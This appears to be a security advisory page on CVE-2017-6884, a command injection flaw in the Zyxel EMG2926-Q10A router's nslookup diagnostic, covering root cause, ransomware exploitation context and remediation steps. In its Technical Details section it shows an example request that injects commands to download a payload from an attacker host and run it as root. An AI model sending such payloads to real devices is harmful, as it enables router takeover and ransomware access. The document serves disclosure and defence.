CVE-2017-6884

What Is Zyxel EMG2926?

The Zyxel EMG2926-Q10A is a residential Ethernet CPE (Customer Premises Equipment) router used in fiber and cable broadband deployments. Like the Zyxel P660HN-T1A (CVE-2017-18368), it includes diagnostic tools that pass user input to OS commands. CVE-2017-6884 is an authenticated command injection in the NSLookup diagnostic function — requiring low-privilege authentication but achieving root code execution on the device. The ransomware use tag reflects confirmed post-exploitation use in ransomware delivery chains.

Overview

CVE-2017-6884 is an OS command injection vulnerability in the Zyxel EMG2926-Q10A router. The expert/maintenance/diagnostic/nslookup URI accepts a ping_ip parameter that is passed directly to a system command without sanitization. Any authenticated user can inject arbitrary OS commands — achieving root code execution on the router. Zyxel published a security advisory and released patches for supported hardware; the EMG2926-Q10A has since reached end-of-life. CISA added CVE-2017-6884 to the KEV catalog in September 2023 following confirmed ransomware exploitation of compromised routers as network access points.

Affected Versions

Zyxel EMG2926-Q10A routers — versions prior to the patched firmware release. Hardware may have reached end-of-life; check the Zyxel EOL list and support advisory for current status.

Technical Details

Root Cause: Command Injection in NSLookup Diagnostic URI

CVE-2017-6884 is an OS command injection vulnerability (CWE-78) in the Zyxel EMG2926-Q10A web management interface. The nslookup diagnostic feature at the URI expert/maintenance/diagnostic/nslookup accepts a hostname/IP via the ping_ip parameter and passes it unsanitized to a system-level command. An authenticated user can inject shell commands:

POST /expert/maintenance/diagnostic/nslookup
ping_ip=127.0.0.1;wget+http://attacker/payload+-O+/tmp/x;chmod+777+/tmp/x;/tmp/x

Commands execute as root (the router web server process user), giving the attacker complete device control.

Exploitation Context

• Ransomware use confirmed: CVE-2017-6884 was added to CISA KEV in September 2023 specifically because compromised Zyxel EMG2926 routers were used as access points or proxy nodes in ransomware deployment chains — attackers exploit router vulnerabilities to gain persistent network access before pivoting to internal systems for ransomware deployment
• Credential-first attack chain: Exploitation requires authentication (PR:L); attackers first obtain router credentials via default passwords, credential stuffing, or phishing before using CVE-2017-6884 for root RCE
• End-of-life hardware permanence: The EMG2926-Q10A is EOL; many deployed units will remain unpatched indefinitely — Zyxel's EOL product list shows this model has no future firmware updates
• CISA KEV (2023): Added September 18, 2023 — a late addition reflecting sustained exploitation of aging Zyxel CPE hardware

Remediation

1. Apply Zyxel firmware update — check Zyxel's support site for EMG2926-Q10A firmware updates addressing CVE-2017-6884; apply if available.

2. Replace end-of-life hardware — if no firmware update is available for your hardware revision, replace the EMG2926-Q10A with a currently supported Zyxel or alternative router model.

3. Disable remote management — ensure the router management interface is not accessible from the WAN/internet side; disable remote management in the router settings.

4. Rotate all credentials — if the router may have been compromised, change all router passwords and audit network access logs for signs of internal network pivoting.

5. Restrict LAN access to management interface — use ACLs or firewall rules to limit which internal IP addresses can access the router management interface.